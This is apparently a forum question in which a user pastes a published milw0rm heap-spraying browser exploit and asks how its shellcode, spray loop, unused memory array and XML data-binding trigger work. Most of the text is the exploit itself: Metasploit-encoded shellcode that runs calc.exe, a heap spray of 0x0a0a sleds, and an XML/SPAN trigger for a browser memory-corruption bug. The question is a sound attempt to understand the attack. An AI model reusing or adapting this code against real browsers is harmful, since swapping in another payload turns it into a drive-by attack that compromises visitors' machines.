How does this milw0rm heap spraying exploit work?
I usually do not have difficulty to read JavaScript code but for this one I can’t figure out the logic. The code is from an exploit that has been published 4 days ago. You can find it at milw0rm.
Here is the code:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Here is what I believe it does and I would like you to help me for the part that I misunderstand.
The variable shellcode contains the code to open the calc.exe. I do not get how they have found that weird string. Any idea?
The second thing is the variable spray. I do not understand this weird loop.
The third thing is the variable memory that is never used anywhere. Why do they create it?
Last thing: what does the XML tag do in the page?
For the moment I have good answers but mostly very general ones. I would like more explanations of the value of the code. An example is unescape("%u0a0a%u0a0a");. What does it mean? Same thing for the loop: why did the developer write: length < 0xd0000? I would like a deeper understanding, not only the theory of this code.